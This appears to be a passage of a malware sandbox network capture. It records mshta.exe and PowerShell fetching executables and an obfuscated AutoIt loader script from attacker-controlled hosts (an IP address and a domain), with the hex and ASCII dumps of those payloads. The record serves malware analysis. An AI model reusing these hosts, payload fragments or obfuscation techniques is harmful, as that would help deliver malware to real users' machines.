Dec 18, 2024 09:13:05.458048105 CET	1236	IN	Data Raw: 4c 3b c5 4c 0f 42 c5 4c 89 41 18 48 8d 4d f7 49 f7 e0 48 0f 40 c1 48 8b c8 e8 ac 37 02 00 48 8b 53 08 48 8b f8 48 85 d2 0f 85 56 84 04 00 48 89 7b 08 48 8b cd e8 54 37 02 00 48 8b 0e 48 8b 6c 24 38 48 8b 74 24 40 48 89 08 48 8b 53 10 48 8b 4b 08 Data Ascii: L;LBLAHMIH@H7HSHHVH{HT7HHl$8Ht$@HHSHKHHCH\$0H _H\$DD$HL$UVWATAUAVAWHH0HIHUhEHgHHcAH-AHHL;HAtHMPS\|yCU
Dec 18, 2024 09:13:05.458106995 CET	938	IN	Data Raw: eb b2 33 c0 eb bb 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 48 63 da 3b 1d 60 f4 0e 00 0f 84 fa 00 00 00 48 8b 0d 1b f4 0e 00 48 8b fb 48 8b 04 d9 48 8b 30 48 85 f6 74 3e 48 8d 8e d0 00 00 00 e8 28 fa 00 00 48 8d 8e a0 00 00 00 e8 b8 86 00 00 Data Ascii: 3H\$Ht$WH Hc;`HHHH0Ht>H(HHNHHN(HA2HHH ;Lu \|IH8uHH}HHvIDH8tH\$0Ht$8H _HHbI1
Dec 18, 2024 09:13:05.458251953 CET	1236	IN	Data Raw: 15 7f 3e 0b 00 8b 45 30 48 8d 55 30 89 87 90 02 00 00 48 8b cb 8b 45 34 89 87 94 02 00 00 ff 15 c0 3f 0b 00 48 8b 45 30 8b 4d 34 3b 87 98 02 00 00 0f 85 94 00 00 00 3b 8f 9c 02 00 00 0f 85 88 00 00 00 8b 4e 18 ff 15 a0 3e 0b 00 8b 4e 1c bb 00 80 Data Ascii: >E0HU0HE4?HE0M4;;N>NDAfD#A>DfD#D;EtD;EtH\$hHt$pH\|$xH0A_A^A]A\]AbHHXHp
Dec 18, 2024 09:13:05.458267927 CET	1236	IN	Data Raw: 84 e0 82 04 00 3c 0e 0f 84 64 83 04 00 3c 10 0f 84 03 84 04 00 3c 12 0f 84 b0 82 04 00 3c 14 0f 84 89 82 04 00 44 8a b4 24 a0 00 00 00 3c 18 0f 84 71 82 04 00 8b bc 24 b0 00 00 00 48 8b 44 24 50 ff c1 48 ff c0 89 8c 24 b8 00 00 00 49 83 c1 08 48 Data Ascii: <d<<<D$<q$HD$PH$IHD$PILL$8HLD$@HHT$HI;K[$tEH`DT$0}E7Dl$(HADAD$EDd$ EE$HT$HLD$@LL$8D$
Dec 18, 2024 09:13:05.466337919 CET	1236	IN	Data Raw: 04 00 3c 17 74 7c 3c 18 74 0d 76 76 3c 1a 76 72 3c 1b 75 6e 41 8a ec 41 80 be ff 00 00 00 ff 0f 85 8e 81 04 00 41 8b 96 94 00 00 00 83 fa ff 75 0b 8d 4a 09 ff 15 1a 33 0b 00 8b d0 49 8b cf ff 15 37 2b 0b 00 40 84 ed 0f 84 29 82 04 00 41 8b d4 49 Data Ascii: <t\|<tvv<vr<unAAAuJ3I7+@)AI*/+H\$`Hl$hHt$pH0A_A^A]A\_@@SH HHt5HT7H;MsH<HHHtH9uH [H8LL$ MDHH8H\
Dec 18, 2024 09:13:05.466406107 CET	1236	IN	Data Raw: 00 04 00 44 0f 44 e1 45 33 ed 83 7d 78 ff 44 89 65 70 44 0f 45 6d 78 41 f6 c5 40 0f 85 54 81 04 00 83 7d 60 ff 41 bc 90 01 00 00 41 8b c4 0f 45 45 60 83 7d 68 ff 89 45 78 44 0f 45 65 68 83 7d 50 ff 75 37 33 d2 4c 8d 45 e0 45 33 c9 8d 4a 30 ff 15 Data Ascii: DDE3}xDepDEmxA@T}`AAEE`}hExDEeh}Pu73LEE3J02.MA+MxM+AEPAuR3LEE3J02ANC.MA+M+ANEp@Dt.DDMxHME3Dd$ 31UpHME

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49716	139.99.188.124	80	7812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:13:12.417023897 CET	164	OUT	GET /kiiMf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 139.99.188.124 Connection: Keep-Alive
Dec 18, 2024 09:13:13.875879049 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:13:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sun, 15 Dec 2024 10:29:42 GMT ETag: "da2a8-6294c8abc9816" Accept-Ranges: bytes Content-Length: 893608 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDRRRCPS_@a_@_@g[j[[jwR+r*S_@SRPSRichRPEL_pZ"@@@@\|Ppq; [@.text `.rdata@@.datatR@.rsrcP<@@.relocqpr@B
Dec 18, 2024 09:13:13.875905991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 44 61 4c 00 Data Ascii: DaLhC\YLhCKYNhC:YhC.Y<ChCYhCYQ>hCYsLQ@sLP9hCYGhC
Dec 18, 2024 09:13:13.875917912 CET	1236	IN	Data Raw: 46 04 59 83 24 b8 00 47 3b 7e 08 72 e7 ff 76 04 83 66 08 00 e8 bc fb 01 00 59 5f 5e c3 56 8b f1 57 8b 4e 78 85 c9 75 59 8b 46 7c 83 f8 0b 0f 8f 2a a4 03 00 0f 84 0a a4 03 00 83 e8 05 74 4e 83 e8 03 0f 84 df a3 03 00 48 48 0f 84 bd a3 03 00 83 66 Data Ascii: FY$G;~rvfY_^VWNxuYF\|*tNHHfpNTF\|N$NV\Y_^QfxNptQ,SV3WN~^^^N$NT^4^8^<^@^D~H~L^P^d^h^p^x
Dec 18, 2024 09:13:13.876049042 CET	1236	IN	Data Raw: 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 08 40 89 45 f4 05 f0 f7 ff ff 03 c1 89 55 0c 3b 46 0c 8b 45 f4 7c e2 8b 46 0c 3b d8 74 1a 2b c3 50 8d 86 10 08 00 00 03 c3 50 8d 43 02 8d 04 c6 50 57 ff 15 24 01 49 00 8b 76 04 85 f6 75 8d ff Data Ascii: EUM8sS@EU;FE\|F;t+PPCPW$IvuuW_^[];t +QPCPW$IEUMtDuLMtuWzME8tM@tEujPQWEUM#E
Dec 18, 2024 09:13:13.876060963 CET	1236	IN	Data Raw: 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 01 49 00 6a 00 57 e8 55 08 00 00 eb 8f 8b c8 83 e9 4e 0f 84 aa 9e 03 00 83 e9 05 0f 84 90 9e 03 00 83 e9 28 0f 84 71 9e 03 00 83 e9 09 0f 84 52 9e 03 00 81 e9 8d 00 00 00 0f 84 30 9e 03 00 49 0f Data Ascii: ~Lt~LWS@IjWUN(qR0IIIDjUuuR+t#I4Iu-V&SVPWPVItIIhQQVCj~jwQHjUVW
Dec 18, 2024 09:13:13.876071930 CET	1120	IN	Data Raw: 0f 85 55 9c 03 00 5f 5e 5b 8b e5 5d c2 0c 00 8b 7d 0c 66 8b 46 58 80 bf 90 00 00 00 07 66 89 87 88 00 00 00 66 8b 46 5c 66 89 87 8a 00 00 00 74 5f 66 8b 46 60 66 89 87 8c 00 00 00 66 8b 46 64 66 89 87 8e 00 00 00 8d 45 dc 50 ff 37 ff 15 34 06 49 Data Ascii: U_^[]}fFXffF\ft_fF`ffFdfEP74I9^Xt=9^\tEEP7I9^`9^d{}tfEffEfUwLMEtAXEtA\E~A`E~Ad]
Dec 18, 2024 09:13:13.876082897 CET	1236	IN	Data Raw: 8b 35 f0 05 49 00 ff d6 ff 73 1c 0f b7 c0 c1 e8 0f 89 45 08 ff d6 0f b7 f0 8b 45 08 c1 ee 0f 3b 87 7c 01 00 00 0f 85 61 9b 03 00 83 7d 0c 00 74 06 89 87 7c 01 00 00 3b b7 80 01 00 00 0f 85 b5 9b 03 00 83 7d 0c 00 74 06 89 b7 80 01 00 00 5f 5e 5b Data Ascii: 5IsEE;\|a}t\|;}t_^[]}tx\|UMVW\|P;HBtt<u@MB`8t"\|;Bt8t_^]2UVW};Ft
Dec 18, 2024 09:13:13.876095057 CET	1236	IN	Data Raw: c3 00 00 04 00 0f 85 d2 01 00 00 8b 45 20 40 f7 d8 1b c0 23 45 20 89 45 1c a8 40 0f 85 cb 97 03 00 8b 45 10 89 45 20 8b 45 0c 89 45 0c 83 7d 14 ff b9 90 01 00 00 0f 84 a8 01 00 00 83 7d 18 ff 0f 84 a6 01 00 00 83 f8 ff 75 2d 6a 00 8d 45 e8 50 6a Data Ascii: E @#E E@EE EE}}u-jEPjj0@IjXIM+MM++E} uFjEPjj0@IjXIM+MM++E @tjXIjYE uEujjPIuEjSPIE+Ej5
Dec 18, 2024 09:13:13.876430988 CET	1236	IN	Data Raw: f8 0f 0f 8e 8f 9b 03 00 83 f8 11 0f 84 86 9b 03 00 83 f8 14 0f 84 7d 9b 03 00 83 fe ff 0f 84 87 01 00 00 a1 10 78 4c 00 8b 04 b0 8b 18 53 89 5d e4 e8 a8 f7 ff ff 8b f8 89 7d e0 83 ff ff 0f 84 66 01 00 00 a1 24 78 4c 00 8b 55 08 8b 04 b8 8b 30 89 Data Ascii: }xLS]}f$xLU0ui`WPfwLfUEM}UU(EM}U(SuWQP{`CXK\}{dEM}U}E$2@u$u u
Dec 18, 2024 09:13:13.876442909 CET	1236	IN	Data Raw: c0 74 0c 33 c0 40 5b 5f 5e 8b e5 5d c2 04 00 8b 4d fc 46 3b 75 08 72 c4 33 c0 eb ea 33 c0 eb e7 56 8b f1 8b 0e 85 c9 7e 1d 8b d1 0f b6 c1 c1 fa 10 81 e1 00 ff 00 00 81 e2 ff 00 00 00 c1 e0 10 0b d0 0b d1 89 16 5e c3 55 8b ec 83 ec 0c 53 56 8b c1 Data Ascii: t3@[_^]MF;ur33V~^USVWPE&3fCY3x!MM9M~Fj0Zx?Ex9wAf;r<+QSRPd+MVOEj0@MEZ;E\|u _^[]AF7&f2V
Dec 18, 2024 09:13:13.996063948 CET	1236	IN	Data Raw: a5 d5 01 00 8b 45 f8 59 89 46 04 c6 46 09 00 5b ff 0e 5f 5e 8b e5 5d c3 ff 77 1c 8b cb e8 5c 00 00 00 eb ac c6 46 09 01 eb e6 55 8b ec 56 57 8b f9 80 7f 09 00 0f 85 df 98 03 00 6a 0c e8 f1 d4 01 00 8b f0 59 85 f6 74 31 8b 45 08 83 26 00 8b 48 04 Data Ascii: EYFF[_^]w\FUVWjYt1E&HNx0VGFw_^]f3UVuWtT~tv~uF~u~t)WYFF8u6vYYVY_^]vU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49729	139.99.188.124	80	7480	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:13:19.053615093 CET	76	OUT	GET /QWCheljD.txt HTTP/1.1 Host: 139.99.188.124 Connection: Keep-Alive
Dec 18, 2024 09:13:20.553158998 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 08:13:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Sun, 15 Dec 2024 10:29:42 GMT ETag: "12ec22-6294c8abc8478" Accept-Ranges: bytes Content-Length: 1240098 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 4f 64 48 42 74 20 3d 20 32 38 20 54 6f 20 38 36 35 0a 49 66 20 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 32 20 54 68 65 6e 0a 53 71 72 74 28 37 39 35 35 29 0a 46 69 6c 65 45 78 69 73 74 73 28 [TRUNCATED] Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $OdHBt = 28 To 865If $VerifiedUnderstoodValidation = 32 ThenSqrt(7955)FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUnderstoodValidation = 33 ThenConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5))DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2))Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUndersto
Dec 18, 2024 09:13:20.553169966 CET	1236	IN	Data Raw: 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 20 54 68 65 6e 0a 24 4e 75 74 74 65 6e 49 6e 76 65 73 74 6f 72 73 52 61 6c 65 69 67 68 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 30 34 5d 31 31 33 5d 31 30 35 5d 38 36 5d 38 35 5d 39 36 5d 38 Data Ascii: odValidation = 34 Then$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]83]73]78]127]105]97]79]105]77",28/4))ExitLoopEndIfNext$LAYERSSTRICTINNOVATIVE = '66150718350940696046327902621'$DmModsQueries = 68$DRESSDEARANTIQUES = 93Wh
Dec 18, 2024 09:13:20.553184032 CET	1236	IN	Data Raw: 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 3d 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 Data Ascii: lLibrarianSpiritU = $TheoreticalLibrarianSpiritU + 1EndIfIf $TheoreticalLibrarianSpiritU = 18 Then$locateheadquarterssuccessfully = PixelGetColor(Wales("82]124]123]88]85]72]105]73]102]127]126]82]119",5/1), Wales("82]124]123]88]85]72]105]73]
Dec 18, 2024 09:13:20.553282022 CET	672	IN	Data Raw: 37 29 29 0a 41 53 69 6e 28 39 39 32 29 0a 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 3d 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 Data Ascii: 7))ASin(992)$missionsgreenhouse = $missionsgreenhouse + 1EndIfIf $missionsgreenhouse = 96 Then$broughtisnicholasearned = ASin(9631)ExitLoopEndIfIf $missionsgreenhouse = 97 ThenDriveStatus(Wales("87]120]118]101]109]107]108]120]39",24/6
Dec 18, 2024 09:13:20.553292036 CET	1236	IN	Data Raw: 73 74 72 65 61 73 75 72 79 20 3d 20 37 38 0a 46 6f 72 20 24 55 52 44 48 45 47 77 47 45 20 3d 20 39 20 54 6f 20 38 34 39 0a 49 66 20 24 53 43 41 4c 45 53 57 58 45 54 48 4e 49 43 4f 4d 41 48 41 20 3d 20 37 37 20 54 68 65 6e 0a 41 43 6f 73 28 37 37 Data Ascii: streasury = 78For $URDHEGwGE = 9 To 849If $SCALESWXETHNICOMAHA = 77 ThenACos(7716)Sqrt(1841)ConsoleWriteError(Wales("119]106]120]122]114]106]37",10/2))$SCALESWXETHNICOMAHA = $SCALESWXETHNICOMAHA + 1EndIfIf $SCALESWXETHNICOMAHA = 78 The
Dec 18, 2024 09:13:20.553328991 CET	1236	IN	Data Raw: 6c 6f 72 28 57 61 6c 65 73 28 22 31 32 38 5d 31 30 38 5d 31 30 34 5d 35 34 5d 31 31 32 5d 31 31 37 5d 31 30 36 5d 31 31 32 5d 31 30 37 5d 31 30 38 5d 31 31 37 5d 31 30 36 5d 31 30 38 5d 35 34 22 2c 32 31 2f 33 29 2c 20 57 61 6c 65 73 28 22 31 32 Data Ascii: lor(Wales("128]108]104]54]112]117]106]112]107]108]117]106]108]54",21/3), Wales("128]108]104]54]112]117]106]112]107]108]117]106]108]54",21/3))PixelGetColor(99, 153, 0)$DILDOSYIELDSFAREADDRESSED = $DILDOSYIELDSFAREADDRESSED + 1EndIfNext$hum
Dec 18, 2024 09:13:20.553338051 CET	1236	IN	Data Raw: 28 22 37 36 5d 38 31 5d 37 35 5d 37 37 5d 35 35 5d 38 38 5d 38 37 5d 39 31 5d 39 32 5d 35 35 5d 39 30 5d 37 38 5d 37 35 5d 35 35 5d 39 31 5d 38 38 5d 39 30 5d 38 31 5d 38 36 5d 37 39 5d 35 35 22 2c 38 2f 31 29 29 0a 44 72 69 76 65 53 74 61 74 75 Data Ascii: ("76]81]75]77]55]88]87]91]92]55]90]78]75]55]91]88]90]81]86]79]55",8/1))DriveStatus(Wales("83]112]119]54",14/2))$InterestedDieDocs = $InterestedDieDocs + 1EndIfIf $InterestedDieDocs = 28 Then$InnovationImaginationLipAfrican = ATan(7544)Ex
Dec 18, 2024 09:13:20.553353071 CET	1236	IN	Data Raw: 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 38 36 5d 37 33 5d 38 31 5d 37 36 5d 37 34 5d 39 31 5d 39 30 5d 33 39 5d 39 31 5d 38 39 5d 37 32 5d 39 33 5d 37 36 5d 38 33 5d 33 39 5d 37 35 5d 37 36 5d 37 34 5d 33 39 22 2c 37 2f 31 29 29 0a 46 Data Ascii: iveStatus(Wales("86]73]81]76]74]91]90]39]91]89]72]93]76]83]39]75]76]74]39",7/1))FileExists(Wales("88]73]90]92]91]40]79]81]90]84]91]40]75]80]77]75]83]77]76]40",8/1))$ActressGoneLicense = $ActressGoneLicense + 1EndIfIf $ActressGoneLicense =
Dec 18, 2024 09:13:20.553580999 CET	1236	IN	Data Raw: 31 30 30 5d 37 38 5d 37 31 5d 39 35 5d 31 30 30 5d 39 30 5d 38 33 5d 38 36 5d 31 30 30 22 2c 31 38 2f 33 29 29 0a 50 69 78 65 6c 47 65 74 43 6f 6c 6f 72 28 37 30 2c 20 39 34 30 2c 20 30 29 0a 24 49 6c 6c 6e 65 73 73 46 6f 6c 6b 20 3d 20 24 49 6c Data Ascii: 100]78]71]95]100]90]83]86]100",18/3))PixelGetColor(70, 940, 0)$IllnessFolk = $IllnessFolk + 1EndIfIf $IllnessFolk = 8 ThenOpt(Wales("92]122]105]129]81]107]119]118]80]113]108]109",24/3), 1)ExitLoopEndIfIf $IllnessFolk = 9 ThenDriveStat
Dec 18, 2024 09:13:20.553659916 CET	1236	IN	Data Raw: 31 5d 39 34 5d 39 31 5d 39 31 5d 38 32 5d 37 36 5d 37 34 5d 38 37 5d 37 38 5d 35 31 5d 37 36 5d 38 38 5d 39 36 5d 35 31 22 2c 39 2f 31 29 2c 20 57 61 6c 65 73 28 22 38 37 5d 37 38 5d 37 36 5d 37 38 5d 39 32 5d 39 32 5d 37 34 5d 39 31 5d 38 32 5d Data Ascii: 1]94]91]91]82]76]74]87]78]51]76]88]96]51",9/1), Wales("87]78]76]78]92]92]74]91]82]85]98]51]84]74]82]51]81]94]91]91]82]76]74]87]78]51]76]88]96]51",9/1))ACos(8143)$StartsEquityIncurredLayout = $StartsEquityIncurredLayout + 1EndIfIf $StartsEq
Dec 18, 2024 09:13:20.672879934 CET	1236	IN	Data Raw: 31 5d 37 39 5d 37 39 5d 37 37 5d 39 31 5d 39 32 5d 36 39 5d 39 35 5d 37 37 5d 37 34 5d 39 31 5d 39 32 5d 37 37 5d 39 30 5d 36 39 22 2c 37 32 2f 39 29 29 0a 41 54 61 6e 28 32 35 32 35 29 0a 24 52 45 43 4f 4d 4d 45 4e 44 45 44 44 4f 43 55 4d 45 4e Data Ascii: 1]79]79]77]91]92]69]95]77]74]91]92]77]90]69",72/9))ATan(2525)$RECOMMENDEDDOCUMENTED = $RECOMMENDEDDOCUMENTED + 1EndIfIf $RECOMMENDEDDOCUMENTED = 56 Then$VacanciesLauderdaleBirminghamLands = 28$dominantrepresentedboothplastics = 51For $x

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	147.45.49.155	443	5060	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 08:13:00 UTC	328	OUT	GET /ghep2 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tiffany-careers.com Connection: Keep-Alive
2024-12-18 08:13:00 UTC	396	IN	HTTP/1.1 200 OK etag: "13122-675ebf3f-2534f;;;" last-modified: Sun, 15 Dec 2024 11:36:31 GMT content-length: 78114 accept-ranges: bytes date: Wed, 18 Dec 2024 08:13:00 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-18 08:13:01 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 13 b2 ed 95 57 d3 83 c6 57 d3 83 c6 57 d3 83 c6 43 b8 86 c7 56 d3 83 c6 43 b8 80 c7 55 d3 83 c6 43 b8 87 c7 43 d3 83 c6 43 b8 82 c7 50 d3 83 c6 57 d3 82 c6 73 d3 83 c6 43 b8 8a c7 56 d3 83 c6 43 b8 7c c6 56 d3 83 c6 43 b8 81 c7 56 d3 83 c6 52 69 63 68 57 d3 83 c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 43 9e 30 35 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$WWWCVCUCCCPWsCVC\|VCVRichWPELC05
2024-12-18 08:13:01 UTC	16384	IN	Data Raw: 32 2e 64 6c 6c 00 00 6f 00 5f 58 63 70 74 46 69 6c 74 65 72 00 c9 00 5f 5f 70 5f 5f 63 6f 6d 6d 6f 64 65 00 00 11 01 5f 61 6d 73 67 5f 65 78 69 74 00 00 a1 00 5f 5f 67 65 74 6d 61 69 6e 61 72 67 73 00 e2 00 5f 5f 73 65 74 5f 61 70 70 5f 74 79 70 65 00 00 ae 04 65 78 69 74 00 00 73 01 5f 65 78 69 74 00 24 01 5f 63 65 78 69 74 00 00 ce 00 5f 5f 70 5f 5f 66 6d 6f 64 65 00 00 07 02 5f 69 73 6d 62 62 6c 65 61 64 00 00 e4 00 5f 5f 73 65 74 75 73 65 72 6d 61 74 68 65 72 72 00 00 e8 01 5f 69 6e 69 74 74 65 72 6d 00 f7 00 5f 61 63 6d 64 6c 6e 00 35 00 3f 74 65 72 6d 69 6e 61 74 65 40 40 59 41 58 58 5a 00 6d 73 76 63 72 74 2e 64 6c 6c 00 00 37 01 5f 63 6f 6e 74 72 6f 6c 66 70 00 00 6a 01 5f 65 78 63 65 70 74 5f 68 61 6e 64 6c 65 72 34 5f 63 6f 6d 6d 6f 6e 00 7f 05 Data Ascii: 2.dllo_XcptFilter__p__commode_amsg_exit__getmainargs__set_app_typeexits_exit$_cexit__p__fmode_ismbblead__setusermatherr_initterm_acmdln5?terminate@@YAXXZmsvcrt.dll7_controlfpj_except_handler4_common
2024-12-18 08:13:01 UTC	16384	IN	Data Raw: 2c 75 42 2c 70 76 2c 6b 4a 2c 75 42 2c 75 50 2c 72 45 2c 6b 4a 2c 75 42 2c 75 50 2c 77 46 2c 6b 4a 2c 75 42 2c 75 42 2c 70 76 2c 6b 4a 2c 75 42 2c 75 50 2c 72 45 2c 6b 4a 2c 75 42 2c 75 50 2c 70 76 2c 6b 4a 2c 75 42 2c 75 50 2c 45 4b 2c 6b 4a 2c 75 42 2c 6d 52 2c 41 52 2c 6b 4a 2c 75 42 2c 75 50 2c 75 42 2c 6b 4a 2c 75 42 2c 75 50 2c 72 45 2c 6b 4a 2c 75 42 2c 75 50 2c 6d 52 2c 6b 4a 2c 75 42 2c 75 50 2c 70 76 2c 6b 4a 2c 75 42 2c 75 50 2c 70 76 2c 6b 4a 2c 75 42 2c 75 42 2c 41 52 2c 6b 4a 2c 75 42 2c 6d 52 2c 41 52 2c 6b 4a 2c 75 42 2c 6d 52 2c 45 4b 2c 6b 4a 2c 75 42 2c 75 42 2c 70 76 2c 6b 4a 2c 75 42 2c 6d 52 2c 45 4b 2c 6b 4a 2c 75 42 2c 75 50 2c 70 76 2c 6b 4a 2c 75 42 2c 75 50 2c 6d 52 2c 6b 4a 2c 75 42 2c 75 42 2c 72 45 2c 6b 4a 2c 75 42 2c 75 50 Data Ascii: ,uB,pv,kJ,uB,uP,rE,kJ,uB,uP,wF,kJ,uB,uB,pv,kJ,uB,uP,rE,kJ,uB,uP,pv,kJ,uB,uP,EK,kJ,uB,mR,AR,kJ,uB,uP,uB,kJ,uB,uP,rE,kJ,uB,uP,mR,kJ,uB,uP,pv,kJ,uB,uP,pv,kJ,uB,uB,AR,kJ,uB,mR,AR,kJ,uB,mR,EK,kJ,uB,uB,pv,kJ,uB,mR,EK,kJ,uB,uP,pv,kJ,uB,uP,mR,kJ,uB,uB,rE,kJ,uB,uP
